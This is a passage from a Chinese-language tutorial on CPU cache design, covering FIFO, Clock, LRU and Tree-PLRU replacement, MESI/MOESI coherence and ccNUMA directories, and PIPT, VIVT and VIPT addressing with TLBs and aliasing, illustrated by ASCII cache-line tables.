| 0 | 1 | 0b11101 | 0x5A | 0xB2 | <--- Line 3, Index = 0, Way = 3
+-------+-------+-----------+-----------------+-----------------+
...就这样再过三轮
+-------+-------+-----------+-----------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-----------+-----------------+-----------------+
| | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0, Way = 0 <- victim_counter 指向这里（替换这个）
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b00101 | 0x5A | 0xB2 | <--- Line 1, Index = 0, Way = 1
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b11011 | 0x33 | 0x44 | <--- Line 2, Index = 0, Way = 2
+-------+-------+-----------+-----------------+-----------------+
| 0 | 1 | 0b01101 | 0x5A | 0xB2 | <--- Line 3, Index = 0, Way = 3
+-------+-------+-----------+-----------------+-----------------+
就这样，计数器又回到了最初、也是相对最老的数据身上，并将其替换。
不过这样做虽然简单，但是有问题。考虑如下程序:
common_data = 0
for i in range(N):
f(common_data, arr[i]) # 流水的数组，铁打的变量
如果 arr 的长度超过缓存大小，common_data 即使被频繁访问，也可能因为 FIFO 策略被不断替换出去。
隆重介绍改进版本 FIFO 之 Clock 算法。
Clock 的思想很简单：如果一个数据被缓存命中了（用过了），就发一块“免死金牌”（Use bit 置 1），并在下一次计数器指向它时跳过它，给它一次机会。
+-------+-------+-------+-----------+-----------------------------------+
| Use | Dirty | Valid | TAG | Data Block |
| (U) | (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-------+-----------+-----------------+-----------------+
| | | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0, Way = 0 <- 假设 common_data 在这里
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b00101 | 0x5A | 0xB2 | <--- Line 1, Index = 0, Way = 1 <- victim_counter 指向这里（替换这个）
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b11011 | 0x33 | 0x44 | <--- Line 2, Index = 0, Way = 2
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b01101 | 0x5A | 0xB2 | <--- Line 3, Index = 0, Way = 3
+-------+-------+-------+-----------+-----------------+-----------------+
[ CPU ] --(Load 2bytes @&common_data? Index = 0b00)--> 缓存命中
+-------+-------+-------+-----------+-----------------------------------+
| Use | Dirty | Valid | TAG | Data Block |
| (U) | (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-------+-----------+-----------------+-----------------+
| | | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-------+-----------+-----------------+-----------------+
| 1 | 0 | 1 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0, Way = 0 <- 获得免死金牌
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b00101 | 0x5A | 0xB2 | <--- Line 1, Index = 0, Way = 1 <- victim_counter 指向这里（替换这个）
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b11011 | 0x33 | 0x44 | <--- Line 2, Index = 0, Way = 2
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b01101 | 0x5A | 0xB2 | <--- Line 3, Index = 0, Way = 3
+-------+-------+-------+-----------+-----------------+-----------------+
...就这样再过三轮缓存替换
+-------+-------+-------+-----------+-----------------------------------+
| Use | Dirty | Valid | TAG | Data Block |
| (U) | (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-------+-----------+-----------------+-----------------+
| | | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-------+-----------+-----------------+-----------------+
| 1 | 0 | 1 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0, Way = 0 <- victim_counter 试图替换，但发现它有免死金牌
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b10101 | 0x5A | 0xB2 | <--- Line 1, Index = 0, Way = 1
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b01011 | 0x33 | 0x44 | <--- Line 2, Index = 0, Way = 2
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b11101 | 0x5A | 0xB2 | <--- Line 3, Index = 0, Way = 3
+-------+-------+-------+-----------+-----------------+-----------------+
+-------+-------+-------+-----------+-----------------------------------+
| Use | Dirty | Valid | TAG | Data Block |
| (U) | (D) | (V) | (5bits) | (Offset bits: 1 bit) |
+-------+-------+-------+-----------+-----------------+-----------------+
| | | | | Offset: 0b0 | Offset: 0b1 |
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b00011 | 0x33 | 0x44 | <--- Line 0, Index = 0, Way = 0 <- 消耗一次免死金牌，指针移向下一个
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b10101 | 0x5A | 0xB2 | <--- Line 1, Index = 0, Way = 1 <- victim_counter 指向这里（替换这个）
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b01011 | 0x33 | 0x44 | <--- Line 2, Index = 0, Way = 2
+-------+-------+-------+-----------+-----------------+-----------------+
| 0 | 0 | 1 | 0b11101 | 0x5A | 0xB2 | <--- Line 3, Index = 0, Way = 3
+-------+-------+-------+-----------+-----------------+-----------------+
6.2 LRU
等一下，发明 Clock 算法不就是为了选出“最近最少使用”的数据吗？那我们为什么不直接统计谁最久没被使用呢？
这就是 LRU (Least Recently Used) 干的事情。我们先看看 LRU 在非缓存场景里的使用：
class LRUCache:
def __init__(self, capacity: int):
self.capacity = capacity
self.list = []
self.cache = {}
def get(self, key: int) -> int:
"""
获取元素，如果存在，则将其标记为最近使用
"""
if key in self.cache:
# 1. 在链表中找到该key并移除
self.list.remove(key)
# 2. 将key放入尾部（表示最近使用）
self.list.append(key)
return self.cache[key]
return -1
def put(self, key: int, value: int) -> None:
"""
插入或更新元素
"""
if key in self.cache:
# 如果key已存在，更新值并移动到尾部
self.list.remove(key)
self.list.append(key)
self.cache[key] = value
else:
# 如果是新key
if len(self.list) >= self.capacity:
# 缓存已满，移除头部元素（最久未使用的）
lru_key = self.list.pop(0)
del self.cache[lru_key]
# 将新key放入尾部，并存入字典
self.list.append(key)
self.cache[key] = value
从上面的实现不难看出 LRU 的工程思想：最近使用的会被移动到链表（或列表）的尾部，如果一直没被使用，就会随着别的元素往尾部插入，逐渐移动到头部并被最终移除。
当然，直接在硬件里用链表存储密度太低了。LRU 的本质无非就是构造一种“全序”关系，所以对于 N 路缓存，只需要 $N!$ （排列数量）个状态就行了。但是，对于一个 4 路缓存的每一组，我们需要 ceil(log2(4!)) = 5 bits 来存储 LRU 状态，并且状态转换逻辑还极其复杂。所以有没有更好的办法呢？
当然有，这就是 Tree-PLRU1 干的事情。这是一种“近似 LRU”的算法。对于四路缓存的每一组来说，这种算法只需要 3 个 bits 存储状态，这些状态构成一个二叉树。我们看看具体的规则。
首先，所有状态初始化为 0（也就是箭头指向左侧）：
这个时候如果进行分配操作（读/写分配），被替换的缓存行将会是被指向的第 0 路。此时，我们将指向第 0 路路径上的所有箭头都翻转（Flip）状态：
在此之后，如果第 0 路还想成为被替换的缓存行，就一定要求别的缓存行有访问。比如第一路缓存命中了，同理，我们将所有通向它的箭头都切换到反方向（在这里只有 bit 1 需要切换）：
假设第二路命中了，我们进行同样的操作：
此时如果再发生缓存分配操作，才会替换到第 0 路。
那么代价是什么呢？
相信你可能已经看出 Tree-PLRU 的问题了，如果一直命中第 1 路，那第 0 路可能很难被替换掉，即使它已经很老了。
LRU还有什么改型吗？当然有，把淘汰最远使用的数据改成淘汰最近使用的数据就得到了MRU
尝试编写一个MRU表现比LRU好的程序（点击查看答案）
```python
while True:
for i in range(N):
arr[i]
```
在这种循环扫描的情况下老的数据反而可能由于到了新的循环而被重新利用，反之最近被使用的数据可能是最后才需要的。
当然缓存替换策略不止这些，感兴趣的读者可以自行搜索如LFU, LRU-2, ARC, LIRS, LRFU, FBR等算法。
7. 缓存一致性
小心两个看起来一模一样的术语：Coherence vs Consistency
- Cache Coherence（一致性）：同一个地址在多核上看到的值如何协调（MESI/MOESI 解决的是它）
- Memory Consistency（内存一致性/内存模型）：不同地址的读写，在各核观察到的顺序规则（TSO/RCsc…这类）
本章讲的是 coherence；你在代码里看到的 fence/barrier 往往更多是在照顾 consistency。
现代高性能CPU可能只有一个核心，但现代高性能CPU可能只有一个核心不太可能，所以多核心会出现什么新的问题呢？
在现代多核 CPU 中，每个核心通常都拥有独立于其他核心的私有缓存（如 L1 Cache）。这种设计虽然提升了性能，但也引入了 缓存一致性（Cache Coherence） 问题。
举个例子：假设 CPU0 向其私有缓存中的某个地址写入了新数据，但此时主存中的数据尚未更新。随后，CPU1 试图读取该地址的数据。如果 CPU1 直接从自己的缓存或主存中读取，得到的将是旧数据，而非 CPU0 刚刚写入的最新值。
7.1 软件解法
最简单的处理方式是“不处理”，即由软件层面来维护一致性。
CPU 架构可以提供特定的指令，允许软件主动将缓存数据写回主存（Clean 操作）或使缓存失效（Invalidate或者flush操作）。在极端情况下，还可以通过配置页表或控制寄存器，将特定内存区域设置为“不可缓存”（Uncached），从而彻底规避一致性问题。
7.2 MESI
完全依赖软件管理会带来巨大的编程负担和性能开销。能否让 CPU 核心之间自动协商缓存的失效与写回呢？当然可以，这就引出了著名的 MESI 协议。
MESI 协议本质上是为每一个缓存行（Cache Line）维护一个状态机（替换了原本简单的 Valid 位和 Dirty 位）。这个状态机占用 2 个比特位，共定义了四种状态：
- M (Modified): 已修改。数据仅存在于当前核心的缓存中，且已被修改（Dirty），与主存数据不一致。
- E (Exclusive): 独占。数据仅存在于当前核心的缓存中，但未被修改（Clean），与主存数据一致。
- S (Shared): 共享。数据可能存在于多个核心的缓存中，且未被修改，与主存数据一致。
- I (Invalid): 无效。当前缓存行无效，不包含有效数据。
在此基础上，状态机的流转主要由以下四种事件驱动（包含本地核心的操作和通过总线监听到的其他核心的操作）：
- 本地读（Local Read）： 本核心请求读取数据。
- 本地写（Local Write）： 本核心请求写入数据。
- 远程读（Remote Read）： 其他核心请求读取数据（通常通过总线嗅探 Snooping 获知）。
- 远程写（Remote Write）： 其他核心请求写入数据。
状态机转换图如下：
来看一个例子，假设有两个CPU核心有如下缓存行并且竞争操作内存地址0b10000000（假设是直接映射只有第0路）
Core 0:
+-------+-----------+-----------------------------------+
| MESI | TAG | Data Block |
| | (5bits) | (Offset bits: 1 bit) |
+-------+-----------+-----------------+-----------------+
...
| I | 0b00000 | 0x00 | 0x00 | <--- Line N, Index 0，Way 0
...
Core 1:
+-------+-----------+-----------------------------------+
| MESI | TAG | Data Block |
| | (5bits) | (Offset bits: 1 bit) |
+-------+-----------+-----------------+-----------------+
...
| I | 0b00000 | 0x00 | 0x00 | <--- Line N, Index 0，Way 0
...
第1周期，CPU0试着取地址0b10000000的数据，缓存未命中遂进行读分配操作。CPU0先试着询问是否有别的CPU拥有这个数据，但并未得到回复，所以CPU0去主存读取数据并切换状态为E：
第2周期，CPU1试着取地址0b10000000的数据，缓存未命中遂进行读分配操作。CPU1先试着询问是否有别的CPU拥有这个数据得到了CPU0的回复。此时对于CPU1来说是本地读切换到状态S，对CPU0来说是远程读切换到状态S：
第3周期，CPU0试着写地址0b10000000的数据，缓存命中但发现状态为S。CPU0通过总线广播到所有CPU数据要被写了，对CPU0来说属于本地写状态切换为M，对CPU1来说是远程写状态切换为I：
第4周期，CPU0试着写地址0b10000000的数据，缓存命中但发现状态为M。CPU0不需要通知别的CPU(这正是MESI节省总线带宽的方法)，对CPU0来说属于本地写状态切换为M：
第5周期，CPU1试着取地址0b10000000的数据，缓存未命中遂进行读分配操作。CPU1先试着询问是否有别的CPU拥有这个数据得到了CPU0的回复。此时对于CPU1来说是本地读切换到状态S，对CPU0来说是远程读，切换到S：
在第五周期CPU0和CPU1的缓存数据和主存一样吗？（点击查看答案）
是一样的，还记得我们对S状态的定义吗？即“数据可以同时存在于多个核心缓存中，且与内存一致（Clean），与主存数据 一致 ”。对CPU0来说 必须先把脏数据写回主存 (Write Back/Clean)，然后才能转为状态S。
这就是MESI的工作原理，不过更常见的是MESI的改进型，MOESI(比如ACE协议用的就是这个)。
- O (Owned): 拥有。数据不仅仅存在于当前核心的缓存中，且已被修改（Dirty），与主存数据不一致。可以理解为是一种Dirty的
S状态，这让数据可以不用立即写回主存，提升了性能。
MOESI状态机如图：
除了MESI和MOESI以外这种协议还有很多变种，比如MSI，MOSI，MESIF等。在这里只对这两种协议讲解只是因为比较常见（MOESI常用于ACE总线和ARM的CCI缓存一致性控制器）。
7.3 多颗CPU又怎么办？
本章参阅Linux内核对NUMA的介绍
让我们思考一下如果你的主板上有不止一颗CPU会遇到什么问题？
在早期的多处理器系统（SMP, Symmetric Multi-Processing）中，所有的 CPU 通过 同一条总线 连接到 同一个内存控制器 这被称为 UMA（Uniform Memory Access）。事实上现在大部分核心数量不多的CPU也这样干。
从SMP的S，也就是对称性（Symmetric）可以看出所有的核心一律平等，无论哪个 CPU 访问内存的哪个位置，花费的时间（在总线延迟）都是一样的，所有 CPU 也都要通过一致性协议共同协商。
以 EPYC 9005 系列 CPU 举例子，核心数量最大可以达到 192 核心，甚至还支持多颗 CPU。想象一下仅仅因为读分配一个写分配一个内存地址就要等待总计 384 个核心在同一个一致性总线上回复的地狱绘图。
这就是 ccNUMA（Cache Coherent non-Uniform Memory Access，缓存一致性非均匀访存模型） 要解决的核心问题。严格来说，ccNUMA 并不是一种协议，而是一种为了解决扩展性问题的平台架构，同时它依然保留了硬件级的缓存一致性。
这里举例一个典型的 ccNUMA 方案。假设系统有N颗 CPU，我们将每颗 CPU 及其直连的内存称为一个 NUMA 节点（例如 NUMA节点A， NUMA节点B 和其他节点）。每个节点拥有自己的内存控制器，负责管理自己那一部分物理内存。
7.3.1 目录式一致性（Directory-based Coherence）
既然内存被分割了，缓存一致性方案该如何调整？这里介绍其中一种被称为 目录缓存一致性 的可能方案。
我们需要增加 NUMA 节点 这一层抽象。打个计算机网络的比方，NUMA 节点内部可以看作是一个“局域网”，而这些节点互联构成的系统则是“广域网”。我们可以利用这种分层思想来优化一致性流量。
在 ccNUMA 系统中，通常放弃了全局广播的“总线嗅探”机制，转而采用 目录（Directory） 机制。具体来说，我们在每个 NUMA 节点的内存控制器中配备一个 目录表（Directory）。
这个目录记录了该节点所辖内存块在整个系统中的状态。它主要记录两类信息：
- 状态（State）： 该内存块当前的 MESI（或者别的一致性协议） 状态。
- 共享者列表（Sharers List）： 哪些远程节点（或核心）的缓存中存有该内存块的副本。
7.3.2 访问流程与性能影响
基于这个目录结构，跨节点的访问流程变得更加精准：
- 本地独占（Local Access）： 如果
节点A的核心访问属于节点A的内存，且目录显示该地址没有被节点B缓存（状态为 Invalid 或仅本地持有），那么节点A只需要在内部解决，不需要向节点B发送任何信号。这极大地减少了总线流量。 - 跨节点读取（Remote Read）： 如果
节点A要读取属于节点B的内存：节点A发送请求给节点B的控制器（Home Node）。节点B查询目录。- 如果目录显示数据未被修改，
节点B直接返回数据给节点A，并在目录中将节点A加入“共享者列表”。
- 跨节点写入/争用（Coherence Traffic）： 只有当
节点A想要写入一个被节点B或其他节点持有的地址时，节点B的控制器才会根据目录中的“共享者列表”，精准地向持有副本的节点（注意这里并非节点B内部的核心，节点B内部会被目录广播 MESI 远程写消息）发送失效（Invalidate）消息，而不是广播给所有人。
虽然 ccNUMA 解决了核心扩展性问题，但也带来了新的挑战，即 “Non-Uniform”（非均匀） 的含义：
- 本地访问快（Local Access）： CPU 访问自己节点控制的内存，延迟低，带宽大。
- 远端访问慢（Remote Access）： CPU 访问其他节点的内存，需要经过互联通道（如 Intel UPI 或 AMD Infinity Fabric），延迟高，且受限于互联带宽。
因此，在 NUMA 架构下进行软件开发和系统调优时（例如在 Linux 内核中），操作系统会尽量将进程和它所需的内存分配在同一个 NUMA 节点上（Local Allocation），以避免跨节点的“远端访问”带来的性能惩罚。这也解释了为什么在服务器上运行高性能数据库或虚拟机时，绑定 NUMA 节点（NUMA Pinning）是常见的优化手段。
8. 虚拟地址如何处理？
如果你不熟悉虚拟地址本章可能极具挑战性，建议对虚拟地址有一定的了解再来观看。
在前文中，为了简化模型，我们一直默认 CPU 发出的地址直接对应内存条上的 物理地址（Physical Address, PA）。但在现代操作系统中，程序运行在虚拟内存空间内，CPU 核心产生的实际上是 虚拟地址（Virtual Address, VA）。
如果你不熟悉 虚拟地址，可以将其简单理解为一个映射函数：(物理地址，页面属性) = f(虚拟地址, 地址空间标识)
物理地址对应真实的硬件（内存或 I/O），而虚拟地址则是程序视角下的地址。同一个虚拟地址在不同的程序中，会被映射到不同的物理地址。这样做最显而易见的好处就是 安全性。
通常，每个程序都拥有独立的“地址空间标识”来区分彼此。举个例子，如果某个物理地址是程序 A 私有的，那么通过上述映射函数，其他程序的地址空间标识将无法映射到该物理地址，从而实现了内存隔离。
当然，实际的虚拟内存机制要复杂得多，还涉及 分页机制、权限管理、以及解决物理内存碎片化等问题，这里不做过多展开。
此外，我们需要重点理解虚拟地址到物理地址映射的两个关键特性：
- 映射前后，地址的低 N 位保持不变（即页内偏移量）。为了方便演示后续的例子，我们将统一把地址长度设定为 32 位并保持地址后 12 位不变（4k页）。
- 这个虚拟地址到物理地址计算的函数非常慢 不过有一个好消息是这个函数在不修改页面分配的情况下给定同样的输入会得到同样的输出，这给了缓存不少的操作空间。
好吧现在开始构建我们的新缓存系统。既然我们有两种地址可以选择，那么我们应该使用物理地址当作缓存的Tag还是虚拟地址当作缓存的Tag呢？同样的Index部分应该是物理地址还是虚拟地址呢？
8.1 PIPT
这种情况可以说是和之前讨论的缓存没有变化。在这种设计下，缓存模块本身几乎不需要改动。但 CPU 核心发出的虚拟地址（VA）不能直接用来查缓存，必须先经过转换函数变成物理地址（PA）
流程大概长这样：
[ CPU ] --(Load VA &a)--> [ MMU ] --(Load PA &a)--> [ Cache ] --> [ RAM: a=0xff ]
我们的缓存也只使用完全转换后的地址，也就是物理地址，所以这种处理方式被称为 PIPT（Physically Indexed, Physically Tagged）。
发现问题了吗？速度。MMU 的转换通常涉及多次内存查表操作，效率十分低下。如果每次访问缓存都要先等 MMU 慢吞吞地算完物理地址，CPU 的流水线早就“饿死”了。
为了解决这个问题，我们自然想到：既然地址转换这么慢，那能不能也给转换结果加个缓存呢？于是，TLB (Translation Lookaside Buffer，转址旁路缓冲) 诞生了。
让我们思考一下TLB的设计参数和结构。
首先因为每个条目可以直接映射到一个4k的页面所以可以想象TLB的条目数会比大部分数据缓存少，实践中也确实如此，所以TLB常常采用全相联设计。
所以我们只需要仿照高速缓存的设计，把页面属性和物理地址当作数据构造如下结构的TLB就行了嘛？
+-------+---------------------------+---------------------------+-------+
| Valid | TAG | PA | Attr |
| (V) | (VPN: VA[31:12]) | (PPN: PA[31:12], 20 bits) | |
+-------+---------------------------+---------------------------+-------+
| 1 | 0x00011 | 0x89ABC | X |
+-------+---------------------------+---------------------------+-------+
| 0 | 0x10101 | 0x8921F | X |
+-------+---------------------------+---------------------------+-------+
| 1 | 0xFF234 | 0x12345 | X |
+-------+---------------------------+---------------------------+-------+
...
这就够了吗？回想一下开头提到的公式：(物理地址，页面属性) = f(虚拟地址, 地址空间标识)。上述设计只用了虚拟地址作为输入，却忽略了 地址空间标识。这会导致什么后果？
隆重介绍， 同名（Homonym / Ambiguity） 问题。
是的，不同的程序（或者说虚拟地址空间标识）可能会把同一个虚拟地址映射到不同的物理地址，在一会儿讨论数据缓存我们还会遇到这个问题。在这里让我们先给TLB加上地址空间标识：
+-------+-----------+---------------------------+---------------------------+-------+
| Valid | ASID | TAG | PA | Attr |
| (V) | (8 bits) | (VPN: VA[31:12]) | (PPN: PA[31:12], 20 bits) | |
+-------+-----------+---------------------------+---------------------------+-------+
| 1 | 0x01 | 0x00011 | 0x89ABC | X |
+-------+-----------+---------------------------+---------------------------+-------+
| 1 | 0x02 | 0x00011 | 0x77777 | X |
+-------+-----------+---------------------------+---------------------------+-------+
| 0 | 0x01 | 0x10101 | 0x12345 | X |
+-------+-----------+---------------------------+---------------------------+-------+
TLB重名问题真的只有这一种解法吗？（点击查看答案）
当然不是，在传统X86架构的CPU上有一种极其简单粗暴的方案；每次切换程序都会刷新（Invalidate/Flush）整个TLB。
不过这会带来TLB预热慢等诸多性能问题。所以现代X86架构CPU采用的方案叫做PCID(Process Context IDentifiers)，详细内容参见Intel SDM 卷3A 5.10.1节（截至2025年12月）。
事实上不论是 ASID 或是 PCID，位数往往有限（不够用），所以实际系统中大多采用软硬件混合管理的策略。
试着思考一下按照如上设计如果没有任何补充机制最多支持多少程序运行？（点击查看答案）
当然是 2^8 = 256 个！
8.2 VIVT
好吧上一节我们已经有了一个完整能工作的TLB和对应的PIPT缓存（其实就是啥也没改，转换成物理地址后直接丢给缓存）。那么这样做有什么缺点呢？
回顾一下，缓存中的SRAM大多数是读同步SRAM。读取TLB和高速缓存在最好的流水线情况下也有三个周期的延迟，对比直接读的两个周期延迟可以说是多了不少，我们为什么不直接用虚拟地址作为 Index 和 Tag 来查找高速缓存呢？
这就是 VIVT (Virtually Indexed, Virtually Tagged) 的核心思路：跳过地址转换，直接由纯粹的虚拟地址驱动缓存。
然而，天下没有免费的午餐。VIVT 虽然快，却继承了 TLB 的问题，并引入了新的麻烦。
如何解决VIVT缓存行的同名问题？（点击查看答案）
方案和处理TLB的时候一样，可以通过切换程序时刷新缓存行或者引入ASID等方案完成。不过这样会大概巨大的Cache miss（flush缓存行）或者电路面积（引入ASID字段）问题。
如果说“同名”问题只是因为这世界上叫“张三”的人太多，可以通过加身份证号（ASID）解决，那接下来遇到的问题就更棘手了。
“抓鲁迅关我周树人什么事？”——这无疑是对接下来要讨论的问题最好的总结。
隆重介绍， 别名（Synonyms / Aliasing） 问题。
为什么引入ASID或者切换程序时flush缓存解决不了别名问题？（点击查看答案）
让我们仔细对比一下：
- 同名（Homonym）：不同的人（PA），起了相同的名字（VA）。
只能发生在 不同 程序之间。 - 别名（Synonym）：同一个人（PA），起了不同的名字（VA）。
可能发生在 同一个 程序内，或共享内存的场景下。
正是因为别名问题可能发生在同一个地址空间内（或跨进程共享同一块物理内存时），依靠区分程序的 ASID 是无法解决的。只要物理地址唯一，而缓存里却有两份副本，一致性问题就无法避免。
至于为什么同一个程序内不会有同样的虚拟地址指向不同物理地址？这涉及操作系统的分页机制和共享内存实现，此处不做过多展开。
好吧经过刚才的思考题你应该发现了这个问题的棘手之处，我们没有例如 程序切换 之类的明显事件标志可能发生别名问题（事实上有一个标志是读/写分配的时刻，但在大多数VIVT缓存组没啥用，所以留到下一节讨论）。
但是等等，从根本上来说TLB也是某种VIVT缓存为什么我在讲解TLB的时候没有提到别名？
这涉及到别名问题什么时候会导致系统出岔子，我们想一想TLB和一般的高速缓存最大的区别是什么？除了一个存物理地址和属性一个存数据以外TLB不支持写操作，而一般的高速缓存是可写的。
我们看看写的情况会出什么岔子：
两个缓存行写的数据是不共享的！从朴素的思想来说我们自然希望加了高速缓存和没加高速缓存的访存拥有一样的性质。我们想想如果没有高速缓存会怎么样？
这将会只是一个简单的竞争写问题，不管怎么样你都可以从两个不同的虚拟地址读到最新的数据。但加了缓存以后这两个缓存行的同步我们没办法保证了。
对于这个问题只有两种很差的解决方案：
- 1.软件保证：软件自己确保不会出现这样的情况，朴素又直接。
- 2.反向映射（Reverse Mapping）：遍历全部缓存，全部转为物理地址，找到可能的冲突并同步。
而且VIVT缓存会带来严重缓存一致性问题，回想一下缓存一致性问题的解决方案，我们构造了一个MESI状态机然后让不同的CPU广播地址如果有别的CPU缓存行 命中 这个地址就进行相应的操作。
重点就在这个 命中 上，你需要把别的核心发过来的物理地址转换成自己的缓存行位置。如果所有核心都用同一个虚拟地址空间那还好说，但问题就在于你不能强迫每一个CPU核心都跑同一个程序。
但我为什么没有谈到 TLB 的缓存一致性问题呢？那是因为TLB只在程序要申请新的内存，程序发生缺页，或者创建程序时才需要同步。这些事情发生的频率很低所以一般交给软件管理，软件会通过核心间中断通知各CPU刷新TLB数据（这个过程被称之为 TLB Shootdown ）。参阅Intel SDM 卷3A 5.10.5节 Propagation of Paging-Structure Changes to Multiple Processors（截至2025年12月）。Linux内核相关接口
8.3 VIPT
见识了PIPT和VIVT这对卧龙凤雏之后不免引人思考，这个世界上真的没有完美的虚拟地址缓存解决方案了吗？答案是有的，不过要牺牲一点点容量（接下来会讲解如何缓解这个问题）。
隆重介绍 VIPT (Virtually Indexed, Physically Tagged) 这种缓存方式的诞生源自于上文提到过的重要性质，即 地址映射前后，地址的低 12 位保持不变（在我们4k页面例子中）。
一般来说我们一次会读出一整组缓存行。那么选组的关键在哪呢？对了是索引！VIPT的缓存方式通过将索引与缓存行偏移限制在低12位以内实现和PIPT同样的效果：
+------------------------------------------------------------------+
| Memory Address VA (32 bits) |
| 0x00000000 |
+----------------------------------------+------------+------------+
| (VPN: VA[31:12] 对比较无用) | Index | Offset |
| (20 bits) | (6b) | (6b) |
+----------------------------------------+------------+------------+
| 0x00000 | 0b000000 | 0b000000 |
+----------------------------------------+------------+------------+
那它是怎么提升效率的呢？关键在于并行！我们可以一边用虚拟地址读取缓存组，一边从TLB读取到物理地址的转换表，最后再比较TAG（Valid等）完成缓存命中判定：
但是这样我们的缓存容量被限制的很死。如果继续增加组的数量Index部分必然会去到高20位的虚拟地址和物理地址可能不相等的区域中。
还有什么办法可以在不影响VIPT缓存性质的情况下增加容量？（点击查看答案）
可以增加组的大小（也就是增加路的数量）。不过这样做的缺点很明显，那就是又得面对增加的比较数量、面积问题和延迟问题。
不过好消息是及时这样由于我们使用的是PT（物理地址标签）我们的操作空间比VIVT大很多。
为什么VIPT没有同名问题（点击查看答案）
这是由于使用了 物理标签（PT） 带来的特殊性质，读取出缓存组以后我们比较的是物理标签（TAG），物理标签总不能同名吧？
PageSize=4KB，cacheline=64B，L1 D-cache 设为 VIPT。若相联度是 8-way，L1 最大能做多大而不引入别名风险？（点击查看答案）
常用充分条件：**CacheSize ≤ PageSize × Associativity** = 4KB × 8 = **32KB**。这也是很多机器 L1D=32KB/8-way 的原因之一。
既然我们已经确定了问题仅在于 别名，这里介绍一种在 VIPT 架构下行之有效的处理方法。
第一种方法是一种叫做 页着色（Page Coloring） 的方法，简单来说就是软件强制所有可能发送别名的地址低Index + Offsetbits位都一样。
第二种是笔者研究香山的CoupledL2缓存时学到的。其核心思想是：强制下一级存储（L2/主存等）记录本级缓存中某个物理标签（PT）的“别名位”，并确保同一时刻，同一个物理标签只能以一种别名位存在于本级缓存中。
在 VIPT 中，当虚拟页号（VPN）和 Index 发生重叠时，重叠的部分就是别名位。这会导致同一个物理地址（PA）因为虚拟地址（VA）的不同，被映射到 L1 Cache 的不同组（Set）中。
还记得之前提到的 反向映射 吗？物理标签（Physical Tag）加上别名位，可以让我们反推出该行数据在 Cache 中的具体位置，这会让这个事情变的简单不少。
举个例子：
+-----------------------------------------------------------------------+
| Memory Address VA (32 bits) |
+-------------------------------------------+===========+=======+-------+
| Virtual Page Number (VPN) | Page Offset |
| | (VA == PA) |
+-------------------------------------------+===========+=======+-------+
| Tag | Index | Index | Offset|
| | (High) | (Low) | |
+-------------------------------------------+===========+=======+-------+
| Bits [31:14] | [13 : 12] | [11:6]| [5:0] |
+-------------------------------------------+-----------+-------+-------+
^
|
别名位
(Alias Bits)
在这个例子中，VA[13:12] 即为别名位。只有这两位不同会导致索引不同，从而产生别名问题。
先看看别名位相同的情况，其别名位（[13:12]）相同，那么它们会被映射到同一个 Cache Set。此时 VIPT 的行为表现得就像 PIPT，物理 Tag 的比较机制会自动处理一致性。
示例场景：
- 物理地址 (PA):
0x10000000(Tag:0x4000) - 虚拟地址 A:
0x10003000(别名位:0b11) - 虚拟地址 B:
0x20003000(别名位:0b11)
一开始缓存行状态是：
+-------+-------+-----------------------+-----------------------------------------------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (18 bits) | (64 Bytes) |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 0 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x4000 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 1 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 0 | 1 | 0x1234 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
...
我们会发现不论是0x10003000还是0x20003000都会映射到这个组中。而且如果我们尝试发生别名，比如先写0x10003000则会发生如下情况：
- 缓存组192被选中。
- 转换物理Tag到
0x4000。
- 转换物理Tag到
- 命中缓存行第192组第0路。
状态变为：
+-------+-------+-----------------------+-----------------------------------------------------------------------+
| Dirty | Valid | TAG | Data Block |
| (D) | (V) | (18 bits) | (64 Bytes) |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 0 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
| 1 | 1 | 0x4000 | Byte 0 | ... | Byte 63 |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
|Set 192| Way 1 | | Offset: 0x00 | ... | Offset: 0x3F |
+-------+-------+-----------------------+----------------------+-----------------------+------------------------+
